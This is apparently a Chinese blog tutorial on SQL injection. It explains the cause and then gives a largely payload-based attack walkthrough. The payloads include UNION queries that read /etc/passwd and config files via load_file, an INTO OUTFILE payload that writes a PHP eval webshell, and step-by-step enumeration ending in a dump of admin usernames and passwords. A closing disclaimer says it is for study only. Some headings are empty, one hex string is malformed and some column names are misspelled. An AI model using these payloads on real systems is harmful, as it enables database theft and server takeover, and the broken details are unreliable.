文章目录[隐藏]
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
针对 SQL 注入的攻击行为可描述为通过用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。
其成因可以归结以下两个原因叠加造成的:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到 SQL 语句中。
攻击者利用 SQL 注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下,还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过 SQL 注入漏洞直接获取 webshell 或者服务器系统权限。
1.根据数据类型
区别:
字符型:需要单引号闭合的就是字符型注入,并且需要注释掉后面的单引号 (注释符号:#,– – ,/*)
数值型:不需要单引号闭合,也不需要注释符号
根据注入语法
前提:
UNION SELECT 1 ,load_file ( '/etc/passwd' ) , 3 , 4 , 5 , 6#
UNION SELECT 1 ,load_file ( 'D://phpStudy//WWW//conn.php' ) , 3 , 4 , 5 , 6
UNION SELECT 1 ,load_file (0x443A2F2F70687053747564792F2F5757572F2F636F6E6E2E706870 ) , 3 , 4 , 5 , 6
前提:
SELECT '<?php eval($_POST[1]); ?>' INTO OUTFILE ' D://phpStudy//WWW//hack.php '
1.判断字段数
挖掘出注入点之后我们可以通过 order by 来判断表的字段数 例如: http://www.xxx.com/test.php?id=6 order by n
注:通常使用“order by N”,通过不断变换N的值,至刚好返回正常的网页,可得到当前表的字段数
2.判断显示位
http://www.xxx.com/test.php?id=6 union select 1,2,3,4,5,6
3.获取当数据库名称和当前连接数据库的用户
http://www.xxx.com/test.php?id=-1 union select 1,2,database(),4,5,6 http://www.xxx.com/test.php?id=-1 union select 1,2,user(),4,5,6
4.列出所有数据库
limit 一个一个打印出来库名 select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 group_concat 一次性全部显示 select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
5.列出(数据库:xss)中所有的表
limit 一个一个打印出来字段名 schema select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=’xss’ limit 0,1 group_concat 一次性全部显示 select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x674657374 注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。
6.列出(数据库:xss 表:admins )中所有的字段
limit 一个一个打印出来 select COLIMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=’xss’ and TABLENAME=’admins ‘ limit 0,1 group_concat 一次性全部显示 select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e
7.列出(数据库:xss 表:admins )中的数据
limit 一个一个打印出来 select username,passwd from xss.admins limit 0,1 group_concat 把 一次性全部打印 select group_concat(concat(username,0x20,passwd)) from xss.admins
行云博客 - 免责申明 本站提供的一切软件、教程和内容信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我联系处理。敬请谅解!